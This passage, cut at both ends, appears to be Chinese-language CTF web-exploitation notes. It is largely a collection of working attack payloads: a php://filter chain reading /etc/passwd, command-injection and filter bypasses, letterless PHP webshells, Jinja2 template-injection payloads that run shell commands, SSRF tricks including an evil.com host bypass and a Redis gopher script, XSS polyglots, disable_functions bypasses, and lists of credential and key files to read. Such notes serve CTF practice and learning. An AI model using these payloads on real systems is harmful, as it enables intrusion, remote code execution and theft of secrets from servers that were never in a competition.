nv.MAC-UK.ISO-10646|convert.iconv.UCS-4BE.855|convert.iconv.ISO88599.CSISO90|convert.iconv.ISO_6937:1992.10646-1:1993|convert.iconv.CP773.UNICODE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.BIGFIVE.UTF32|convert.iconv.WINSAMI2.T.61|convert.iconv.ISO-IR-156.OSF00010104|convert.iconv.CP860.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-6.ISO646-DE|convert.iconv.ISO2022KR.UTF32|convert.iconv.MAC-UK.ISO-10646|convert.iconv.UTF-32BE.MS936|convert.iconv.8859_5.UTF32|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP922.CSISOLATIN5|convert.iconv.ISO2022KR.UTF-32|convert.iconv.IBM912.ISO-IR-156|convert.iconv.ISO-IR-99.CSEUCPKDFMTJAPANESE|convert.iconv.8859_9.ISO_6937-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-GR.UNICODE|convert.iconv.ISO_8859-14:1998.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP869.CSIBM1163|convert.iconv.ISO2022KR.UNICODE|convert.iconv.LATIN3.NAPLPS|convert.iconv.ISO-IR-90.UTF16LE|convert.iconv.IBM874.UNICODEBIG|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.BIGFIVE.UTF32|convert.iconv.WINSAMI2.T.61|convert.iconv.ISO-IR-103.ISO-IR-209|convert.iconv.8859_5.CSISO2022JP2|convert.iconv.ISO-2022-JP-3.IBM-943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO2022KR.UTF16|convert.iconv.LATIN6.CSUCS4|convert.iconv.UTF-32BE.ISO_6937-2:1983|convert.iconv.ISO-IR-111.CSWINDOWS31J|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd&1=phpinfo(); |
hxp CTF 2021 - A New Novel LFI
https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
PHP LFI with Nginx Assistance
hxp CTF 2021 - The End Of LFI?
命令执行
换行符 %0a
连续指令 ;
后台进程 &
管道符 |
命令分隔符:
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、& 、| 、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)
windows:
命令格式 | 含义 |
---|---|
command1 & command2 | 先后执行command1和command2,无论command1是否执行成功 |
command1 && command2 | 先后执行command1和command2,只有command1执行成功时才执行command2 |
command1 || command2 | 先后执行command1和command2,只有command1执行失败时才执行command2 |
command | command2 | | 是管道符,将command1执行的结果传递给command2 |
linux:
命令格式 | 含义 |
---|---|
command1 ; command2 | 先后执行command1和command2,无论command1是否执行成功 |
command1 && command2 | 先后执行command1和command2,只有command1执行成功时才执行command2 |
command1 || command2 | 先后执行command1和command2,只有command1执行失败时才执行command2 |
command1 | command2 | | 是管道符,将command1执行的结果传递给command2 |
空格代替:
<>符号
< 符号
$IFS
${IFS}
$IFS$9
%09,%0b,%0c,%20用于url传递
whidows下,可以用%ProgramFiles:~10,1%
,%ProgramFiles%一般为 C:\Program Files
a=l;b=s;$a$b等于ls
base64编码: echo d2hvYW1p|base64 -d
d2hvYW1p的base64编码为whoami
16进制: echo "0x636174202e2f666c6167" |xxd -r -p
$(printf "\x77\x68\x6f\x61\x6d\x69")
8进制:$(printf "\167\150\157\141\155\151")
下列例子是输出反斜杠 / :
echo ${PATH:0:1}
echo `expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`
echo $(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)
expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1
echo $(cd ..&&cd ..&&cd ..&&cd ..&&pwd)
无回显技巧(exec):
1 | ping;cp 12345.php 2.txt 再访问2.txt |
一些小技巧
1 | $a=ag.php;$b=fl;cat$IFS$9$b$a |
php小技巧
1 | $_=`/???/??? /????`;$_ |
花括号的别样用法:
1 | $( )中放的是命令,相当于` `,例如todaydate=$(date +%Y%m%d)意思是执行date命令,返回执行结果给变量todaydate,也可以写为todaydate=`date +%Y%m%d`; |
一个考点,记录一下:(php反引号命令执行)
1 |
|
eval(substr($cc, 0, 6));
他只执行$cc
的前6个字符,但是可以利用
1 | `$cc`;xxxxxxxxxx |
xxxxx为执行的命令
四个字符的用法:
1 | >cat |
巧用命令注入的N种方式
参考文章:
DNSlog盲注
RCE Bypass小结
命令执行绕过总结
巧用命令注入的N种方式
浅谈PHP无回显命令执行的利用
CTF命令执行及绕过技巧
Bypass一些命令注入限制的姿势
巧用DNSlog实现无回显注入
ctf中常见php rce绕过总结
Bypass一些命令注入限制的姿势
eval长度限制绕过 && PHP5.6新特性
命令执行与代码执行的小结
白名单函数构造
一种payload是这样:
1 | $pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac flag.php |
分析:
1 | base_convert(37907361743,10,36) => "hex2bin" |
另一种payload是这样
1 | $pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1}) |
分析:
1 | base_convert(696468,10,36) => "exec" |
直接想办法catflag也是可以的
1 | //exec('hex2bin(dechex(109270211257898))') => exec('cat f*') |
命令执行绕过
不用数字构造出数字
利用了 PHP 弱类型特性,true 的值为 1,故 true+true==2。
1 |
|
结果会输出:2 1
在 php 中未定义的变量默认值为 null,null==false==0
,所以我们能够在不使用任何数字的情况下通过对未定义变量的自增操作来得到一个数字。
1 |
|
结果会输出:1
1 |
|
过滤了_
1 | "%a0%b8%ba%ab"}[%a0]}` `{${~ |
分析下这个Payload,?>
闭合了eval自带的<?
标签。接下来使用了短标签。{}
包含的PHP代码可以被执行,~"%a0%b8%ba%ab"
为"_GET"
,通过反引号进行shell命令执行。最后我们只要GET传参%a0
即可执行命令
过滤了$
在PHP7中,我们可以使用($a)()这种方法来执行命令
这里我使用call_user_func()来举例
1 | (~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c)(~%8c%86%8c%8b%9a%92,~%88%97%90%9e%92%96,''); |
其中~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c
是"call_user_func"
,~%8c%86%8c%8b%9a%92
是"system"
,~%88%97%90%9e%92%96
是"whoami"
PHP5中不再支持($a)()这种方法来调用函数
- shell下可以利用.来执行任意脚本
- Linux文件名支持用glob通配符代替
根据P神的文章,最后我们可以采用的Payload是:
1 | `. /???/????????[@-[]`; |
最后的[@-[]
表示ASCII在@
和[
之间的字符,也就是大写字母,所以最后会执行的文件是tmp文件夹下结尾是大写字母的文件
脚本如下:
1 | import requests |
PHP 中取反 (~) 的概念
1 |
|
利用:?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8F%9E%8C%8C%A2%D6%D6)
网上的构造脚本:
1 |
|
1 | [+]your function: system |
异或运算的利用
Ascii码大于 0x7F 的字符都会被当作字符串,而和 0xFF 异或相当于取反,可以绕过被过滤的取反符号,即:
1 | ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo |
网上的构造脚本:
1 |
|
1 | # -*- coding: utf-8 -*- |
php运行后生成一个txt文档,包含所有可见字符的异或构造结果
接着运行python脚本即可
1 | [+] your function:system |
或运算的利用
在这张图表上,'@'|'(任何左侧符号)'=='(右侧小写字母)'
即'@'|'!'=='a'
,那么 ('@@@@'|'().4')=='hint'
最后?code=($_ = '@@@@'|'().4') == 1?1:$$_
2020安恒DASCTF八月浪漫七夕战 ezrce Writeup
无字母数字递增rce
过滤了~
与^
,就不能用取反和异或来进行getshell
想到的方法是递增,但是递增需要分号,需要绕过分号,来进行getshell,测试发现可以利用<?=?>
来进行绕过
递增的代码 相当于system($_POST[_]);
:
1 | $_=[] |
还可以:
1 | $_=[];$_=@"$_";$_=$_["!"=="@"];$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__++;$__++;$____="_";$____.=$__;$____.=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$_[_]($_[__]); |
构造的是$_GET[_]($_GET[__])
木马
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)
php利用math函数rce总结
php 不用字母,数字和下划线写 shell
一些不包含数字和字母的webshell
无字母数字webshell之提高篇
无字母数字webshell总结
利用PHP的错误运算返回来构造字母
1/0 返回 INF //0为除数
0/0 返回 NAN
((1/0).(0)){0} / I
((0/0).(0)){1} / A
然后利用位运算来构造其他字符,先尝试在已得到字符中进行|(或)
运算或者&
运算
1 | a = ['A','F','I','N'] |
最后构造如下:
1 | (((((0/0).(0)){1}|((1).(0)){0})&(((1/0).(0)){2}|((0).(0)){0})).(((0/0).(0)){0}&((1/0).(0)){0}).((((0/0).(0)){1}|((1).(0)){0})&(((1/0).(0)){2}|((0).(0)){0})).(((1/0).(0)){0}).(((0/0).(0)){0}).(((1/0).(0)){2}).(((1/0).(0)){0}|((1/0).(0)){2}))() |
记录的字符如下:
1 | q: ((0/0).(0)){1}|((1).(0)){0} |
这里还学到一种方法:
使用...
可以构造出字符串[999999999999999...1][0][3]
这样就可以得到E了
https://github.com/Xuxfff/PHPevalBaypass
无参数RCE
法一:session_id()
1 |
|
最后eval(hex2bin(session_id(session_start())));
Cookies:PHPSESSID=706870696e666f28293b
也可以show_source(session_id(session_start()));
设置cookie PHPSESSID=flag.php
1 | import requests |
法二:get_defined_vars()
get_defined_vars ( void ) : array 返回由所有已定义变量所组成的数组
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
1 | ?code=eval(end(current(get_defined_vars())));&b=phpinfo(); |
法三:getallheaders()
使用getallheaders()其实具有局限性,因为他是apache的函数eval(end(getallheaders()))
利用HTTP最后的一个header传参eval(getallheaders(){'a'})
利用HTTP名为a的header传参
取反利用:(~%9E%8C%8C%9A%8D%8B)((~%91%9A%87%8B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)()));
即:(assert)((next)((getallheaders)()));
1 | system(end(getallheaders())); |
另一种利用:
1 | system(end(getallheaders())); |
法四:dirname() & chdir()
利用getcwd() 获取当前目录
用scandir() 目录遍历
dirname() 目录上跳==>给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名。
chdir() 更改当前目录readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
php无参数执行命令
从一道CTF题学习Fuzz思想
[原题复现]ByteCTF 2019 –WEB- Boring-Code[无参数rce、绕过filter_var(),等]
PHP Parametric Function RCE
Web-Bash
题目源码:
1 |
|
只能包含以下字元:$ ( ) # ! { } < \ '
1.
$#
=> 0$#
的意思是參數的個數,這題沒有其餘的參數所以會是 0
2.$(($#<$$))
=> 1$$
代表的是目前的 pid ,pid 會 > 0 所以可以得到 1
3.$((1<<1))
=> 2
shift 運算,bj4
4.$((2#bbb))
=> 任意數字
將 bbb 以二進制轉換成數字
5.<<<
的用途是將任意字串交由前面的指令執行
6.bash 可以用$'\ooo'
的形式來表達任意字元(ooo 是字元轉 ascii 的八進制)
推薦超詳細的 bash 文件:Advanced Bash-Scripting Guide
可以利用八进制的方法绕过一些ban了字母的题:$'\154\163'
可以利用位运算和进制转换的方法利用符号构造数字,本题中直接给出0简化了一些操作:
转换成数字之后就需要用到<<<
来重定向了,但是一层不够,只用一层会出现bash: $'\154\163': command not found
这样的报错,得知bash一次解析只能解析到成数字,需要第二次解析,需要给原先的命令添加转义字符
1 | import requests |
参考文章:
安洵杯部分WP
34C3 CTF: minbashmaxfun
34C3CTF 2017 MISC 162 minbashmaxfun
模板注入
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
类继承:
python中对一个变量应用class方法从一个变量实例转到对应的对象类型后,类有以下三种关于继承关系的方法
__base__ //对象的一个基类,一般情况下是object,有时不是,这时需要使用下一个方法
__mro__ //同样可以获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object在最底层故在列表中的最后,通过__mro__[-1]可以获取到
__subclasses__() //继承此对象的子类,返回一个列表
魔术函数:
这里介绍几个常见的魔术函数,有助于后续的理解
__dict__
类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__
里的对象的__dict__
中存储了一些self.xxx的一些东西内置的数据类型没有__dict__
属性每个类有自己的__dict__
属性,就算存在继承关系,父类的__dict__
并不会影响子类的__dict__
对象也有自己的__dict__
属性, 存储self.xxx 信息,父子类对象公用__dict__
__globals__
该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。__getattribute__()
实例、类、函数都具有的__getattribute__
魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()
),都会自动去调用__getattribute__
方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
服务端模板注入攻击
SSTI/沙盒逃逸详细总结
SSTI模板注入
一篇文章带你理解漏洞之 SSTI 漏洞
python 模板注入
利用Python字符串格式化特性绕过ssti过滤
Python沙箱逃逸的n种姿势
Flask/Jinja2
字符串拼接(思路):
1 | {{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}} |
原型payload:
1 | ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls") |
bypass waf变种payload:
1 | getattr(getattr(getattr(getattr(getattr(getattr(getattr([],'__cla'+'ss__'),'__mr'+'o__')[1],'__subclas'+'ses__')()[104],'__init__'),'__glob'+'al'+'s__')['sy'+'s'],'mod'+'ules')['o'+'s'],'sy'+'ste'+'m')('l'+'s') |
python3 payload:
1 | #命令执行: |
新颖的绕过思路:
1 | //8进制绕过 |
过滤了[]、_、args、单双引号、不允许POST
还可以使用request.cookies
过滤了数字,可以使用特殊的数字来绕过https://www.compart.com/en/unicode/bidiclass/EN
然后就可以使用join
进行拼接构造字符
XCTF高校网络安全专题挑战赛-华为云专场部分WP
0RAYS-安洵杯writeup
可参考文章:
SSTI模板注入绕过(进阶篇)
SSTI模板注入及绕过姿势(基于Python-Jinja2)
Server-Side Template Injection
从零学习flask模板注入
SSRF
URL伪协议:
1 | file:// 本地文件传输协议,File协议主要用于访问本地计算机中的文件,就如同在Windows资源管理器中打开文件一样 |
绕过ip检测:
- 使用http://example.com@evil.com
- IP地址转为进制,以及IP地址省略写法:
1 | http://localhost |
- curl可以用句号(。)代替点(.)
enclosed alphanumerics
代替ip中的数字或者网址中的字母
Unicode Characters in the Enclosed Alphanumerics Block- windows下,0代表0.0.0.0,而在linux下,0代表127.0.0.1,
http://0
进行请求127.0.0.1,也可以将0省略127.1
有strpos的限制(利用%2570绕过)
如果向strpos传入一个双重url编码的字符串,可以达到绕过的目的
比如我们这里可以使x=%2570,就可以绕过strpos($x,”php”)
(%25是%的url编码,%70是p的url编码)
即:http://127.0.0.1/?x=file:///var/www/html/index.ph%2570
curl函数
1 |
|
因使用了curl函数,curl会在处理请求的时候再进行一次urldecode。故构造payload时二次urlencode即可绕过file:///%2566%256c%2561%2567
SSRF打redis:
1 | #!/usr/bin/env python3 |
参考文章:
服务端请求伪造(SSRF)之Redis篇
一次“SSRF–>RCE”的艰难利用
工具:Gopherus
浅谈SSRF 加redis反弹shell
Redis和SSRF
Gopher协议在SSRF漏洞中的深入研究(附视频讲解)
SSRF in PHP
了解SSRF,这一篇就足够了
学习笔记-SSRF基础
SSRF技巧之如何绕过filter_var( )
SSRF绕过方法总结
XML,XXE
安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
1 |
|
外部实体 (libxml < 2.90)
1 |
|
一篇文章带你深入理解漏洞之 XXE 漏洞
从XML相关一步一步到XXE漏洞
XXE漏洞利用技巧:从XML到远程代码执行
XSS
使用通用 XSS 攻击字串手动检测 XSS 漏洞:
1 | jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e |
能够检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文中的 XSS 漏洞,也能检测 eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write() 等 DOM 型 XSS 漏洞,并且能绕过一些 XSS 过滤器。
绕过magic_quotes_gpc:在magic_quotes_gpc=On的情况下,如果输入的数据有单引号(’)、双引号(”)、反斜线(\)与 NUL(NULL 字符)等字符都会被加上反斜线
使用String.fromCharCode(),把ascii转换为字符串alert("xss") ==> String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41)
图片标签:<img src="#" onerror=alert('xss')>
xssDOM型绕过?#default=<script>alert(/xss/)</script>
用#绕过后端过滤
奇技淫巧:
1 | %ff<!---><svg/onload=top[/al/.source+/ert/.source]()> |
WAFbypass payload:
1 | <a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)"/>click |
xss payload大全:XSS-Payloads
参考文章:
奇技淫巧(全) - XSS payload
前端安全系列(一):如何防止XSS攻击?
杂知识
/.bash_history (泄露历史执行命令)
/.bashrc (部分环境变量)
/.ssh/id_rsa(.pub) (ssh登录私钥/公钥)
/.viwinfo (vim历史记录)
查看源代码:ctrl+u,F12,Ctrl+shift+i,右键查看,view-source:
不可显字符 :%80 – %ff
IP伪造:X-Forwarded-For/Client-IP/X-Real-IP/CDN-Src-IP/X-Remote-IP
从某国家访问,一般修改Accept-Language
从某个页面访问就修改Referer,Origin
搜索最近100分钟被修改过的文件:find / -type f -mmine -100
apache2,nginx重要文件位置
配置文件:
/usr/local/apache2/conf/httpd.conf
/usr/local/etc/apache2/httpd.conf
/usr/local/nginx/conf/nginx.conf
/etc/apache2/sites-available/000-default.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/etc/httpd/conf/httpd.conf
/etc/nginx/conf.d/default.conf
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default.conf
$TOMCAT_HOME/conf/tomcat-users.xml
$TOMCAT_HOME/conf/server.xml
其他:
/proc/self/cmdline
/proc/self/fd/[0-9]*
/proc/self/environ
/proc/mounts
/proc/net/arp
/proc/net/tcp
/proc/sched_debug
.htaccess
~/.bash_profile
~/.bash_logout
~/.env
/etc/passwd
/etc/shadow
/etc/hosts
/root/.ssh/id_rsa
/root/.ssh/authorized_keys
Linux /proc/pid目录下相应文件的信息说明和含义
/proc目录的妙用
日志信息:
/usr/local/var/log/nginx/access.log
/var/log/nginx/access.log
/var/logdata/nginx/access.log
/var/log/nginx/error.log
/var/log/apache2/error.log
/var/log/apache2/access.log
/var/log/httpd/access_log
/var/log/mail.log
反弹shell
1 | #Bash |
得到shell后可以python -c "import pty;pty.spawn('/bin/bash')"
获取交互
在线生成工具:
java命令执行payloads
Runtime.exec Payload encode
Reverse Shell Generator
可参考文章:
https://github.com/t0thkr1s/revshellgen
Reverse Shell Cheat Sheet
Linux下反弹shell的种种方式
Spawning A TTY Shell-逃逸Linux各种Shell来执行命令
Linux下几种反弹Shell方法的总结与理解
【技术分享】linux各种一句话反弹shell总结
php相关内容
php7-函数特性分析
PHP绕过姿势
CTF 知识库
CTF/PHP特性汇总
命令执行函数:
system(),passthru(),echo exec(),echo shell_exec(),echo 反引号,
popen() 函数打开进程文件指针。
语法:popen(command,mode)
参数 | 描述 |
---|---|
command | 必需。规定要执行的命令。 |
mode | 必需。规定连接模式。 可能的值:r: 只读。w: 只写 (打开并清空已有文件或创建一个新文件) |
proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。
(PHP 4 >= 4.3.0, PHP 5, PHP 7)
类似 popen() 函数, 但是 proc_open() 提供了更加强大的控制程序执行的能力
scandir:列出指定路径中的文件和目录
通过fopen读文件内容:
函数:fread(),fgets(),fgetc(),fgetss(),fgetcsv(),gpassthru()
php文件读取小技巧
1 | var_dump(((strrev(stnetnoc_teg_elif)))((strrev(edoced_46esab))(Li8uLi8uLi8uLi8uLi8uLi8uLi9mbGFn))); //file_get_contents(./../../../../../../flag); |
代码执行
eval(),assert(),preg_replace()
PHP代码执行函数总结
深入研究preg_replace与代码执行
读取文件函数:
1 | readfile(),show_source(),highlight_file(),var_dump(file_get_contents()),print_r(file_get_contents()),print_r(file()),copy("flag.php","flag.txt"),rename("flag.php","flag.txt") |
简单绕过:var_dump(scandir(chr(47))) char(47)是 / 的ascii码,也可以用hex2bin(dechex(47)) var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
php源码分析 require_once 绕过不能重复包含文件的限制
phpinfo()被ban,利用其他方式来读取配置信息
1 | var_dump(get_cfg_var("disable_functions")); |
绕过php的disable_functions
1.攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞
2.寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec()
3.mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制
4.利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果
PHP 突破 disable_functions 常用姿势以及使用 Fuzz 挖掘含内部系统调用的函数
LD_PRELOAD
1 | linux环境 |
disable_function绕过–利用LD_PRELOAD
无需sendmail:巧用LD_PRELOAD突破disable_functions
深入浅出LD_PRELOAD & putenv()
php7.0-7.4 bypass
1 | 直接bypass |
windows系统组件com绕过
1 |
|
CGI启动方式
使用linux shell脚本编写的cgi程序便可以执行系统命令.
.htaccess :
1 | Options +ExecCGI |
shell.ant:
1 |
|
ImageMagick组件绕过
imageMagick 版本 v6.9.3-9 或 v7.0.1-0
第一种:
1 |
|
第二种:
1 |
|
编译gcc -shared -fPIC imag.c -o imag.so
1 |
|
pcntl_exec
1 | 开启了pcntl 扩展,并且php 4>=4.2.0 , php5 , linux |
1 |
|
test.sh:
1 |
|
imap_open函数
1 |
|
php7.4 FFI绕过
php 7.4
ffi.enable=true
1 |
|
shellshock
存在CVE-2014-6271漏洞
PHP 5.*,linux,putenv()、mail()可用
1 |
|
PHP中通过bypass disable functions执行系统命令的几种方式
Bypass disabled_functions一些思路总结
bypass disable_function总结学习
PHP 突破 disable_functions 常用姿势以及使用 Fuzz 挖掘含内部系统调用的函数
针对宝塔的RASP及其disable_functions的绕过
open_basedir绕过
第一种:
1 | a=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}; |
第二种:
1 | a=ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');system('cat ../../../../../etc/passwd'); |
第三种:
1 | ?a=show_source('/flag'); |
php5全版本绕过open_basedir读文件脚本
bypass open_basedir的新方法
浅谈几种Bypass open_basedir的方法
php审计
strpos:数组绕过
ereg正则:%00截断
经典写配置漏洞与几种变形
PHP配置文件经典漏洞
PHP函数漏洞总结
利用PHP的一些特性绕过WAF
PHP代码审计分段讲解
PHP trick(代码审计关注点)
ctf中代码审计以及自己的总结
绕过 filter_var 的 FILTER_VALIDATE_URL 过滤器
1 | http://localhost/index.php?url=http://demo.com@sec-redclub.com |
可以用javascript伪协议进行绕过,javascript://
绕过 parse_url 函数
parse_url用///
绕过,多加了一个/导致parse_url()返回FALSE
利用curl和parse_url的解析差异:/?url=http://@127.0.0.1:80@www.baidu.com/hint.php
create_function()代码注入
create_function()
函数有两个参数$args
和$code
,用于创建一个lambda样式的函数
由于$code可控,底层又没有响应的保护参数,就导致出现了代码注入。见如下例子:
1 |
|
执行时的myFunc()为:
1 | function myFunc($a, $b){ |
通过手工闭合}
使后面的代码eval()
逃逸出了myFunc()
得以执行,然后利用注释符//
注释掉}
保证了语法正确
SESSION绕过
1 |
|
session在判断时是没有值的,构造第二个if语句左右均为空值
intval整数溢出
php整数上限溢出绕过intval:
intval 函数最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。 64 位系统上,最大带符号的 integer 值是 9223372036854775807。
浮点数精度忽略
1 | if ($req["number"] != intval($req["number"])) |
在小数小于某个值(10^-16)以后,再比较的时候就分不清大小了。 输入number = 1.00000000000000010, 右边变成1.0, 而左与右比较会相等
inclue用?截断
1 |
|
当输入的文件名包含URL时,问号截断则会发生,并且这个利用方式不受PHP版本限制,原因是Web服务其会将问号看成一个请求参数。 测试POC: http://127.0.0.1/test/t1.php?name=http://127.0.0.1/test/secret.txt?
则会打开secret.txt中的文件内容
本测试用例在PHP5.5.38版本上测试通过
CVE-2018-12613Phpmyadmin
如果将?
双重编码,经过包含时会把你包含的文件当作一个目录,也就是说,如果你写入:hint.php%25%3F(%25%3F是?的二次编码)
那么解析时会把hint.php当作一个目录来看
md5的值与自身弱相等
1 | $md5=$_GET['md5']; |
爆破脚本:
1 | import hashlib |
得到0e215962017,md5为0e291242476940776845150308577824
同理进行扩展学习:
1 | import hashlib |
1 | $md5==md5(md5($md5)): |
两个变量长度不能超过5,但md5的值又要相同,而且强弱比较也不能相同
php预定义常量绕过M_PI,M_E,M_LN2,NAN,INF
NAN
和INF
,分别为非数字和无穷大,但是var_dump一下它们的数据类型却是double,那么在md5函数处理它们的时候,是将其直接转换为字符串”NAN”和字符串”INF”使用的,但是它们拥有特殊的性质,它们与任何数据类型(除了true)做强类型或弱类型比较均为false,甚至NAN===NAN
都是false,但md5('NaN')===md5('NaN')
为true。
1 |
|
1 | var_dump(md5('INF')); |
发现还有另一种解法
1 | var_dump(md5(0.01)); |
md5强碰撞
www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zipfastcoll_v1.0.0.5.exe -p 1.txt -o 2.txt 3.txt
运行fastcoll 输入以下参数:-p是源文件 -o 是输出文件
1 |
|
得到
1 | M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2 |
如何用不同的数值构建一样的MD5 - 第二届强网杯 MD5碰撞 writeup
浅谈md5弱类型比较和强碰撞
MD5强碰撞
sha1强碰撞
https://shattered.it/static/shattered-1.pdf
https://shattered.it/static/shattered-2.pdf
1 | import urllib |
生成的两个sha1是完全相等的
1 | %25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1 |
trick
$_SERVER['QUERY_STRING']
不会进行URLDecode,而$_GET[]
会,所以只要进行url编码即可绕过
单引号或双引号都可以用来定义字符串。但只有双引号会调用解析器
1 |
|
可变变量指的是:一个变量的变量名可以动态的设置和使用。一个可变变量获取了一个普通变量的值作为其变量名
这里使用 $$ 将通过变量a获取到的数据,注册成为一个新的变量(这里是变量hello)。然后会发现变量 $$a 的输出数据和变量 $hello 的输出数据一致(如上图,输出为 world)
假如waf不允许num变量传递字母:http://www.xxx.com/index.php?num = aaaa //显示非法输入的话
那么我们可以在num前加个空格:http://www.xxx.com/index.php? num = aaaa
这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符
对于传入的非法的$_GET
数组参数名,PHP会将他们替换成 下划线
1 | 32: (空格) |
当我们使用HPP(HTTP参数污染%0a)传入多个相同参数给服务器时,PHP只会接收到后者的值。(这一特性和中间件有关系)
当中过滤了 # 、 - 号,那么我们就无法进行常规的注释,但是我们可以用 ;%00
来进行注释
1 | http://localhost/CTF/?user=\&pwd=||1;%00 |
(1)仍是int,但是如果((1).(2))
(注意需要套一个括号否则出错)就会得到字符串“12”
之后再通过字符串截取即可得到单字符,PHP中可以使用大括号来完成,也是按照惯例,第一个字符编号是0,第二个是1,以此类推
php反序列化
常见方法:
1 | __construct()//创建对象时触发 |
比较重要的方法:
__sleep():
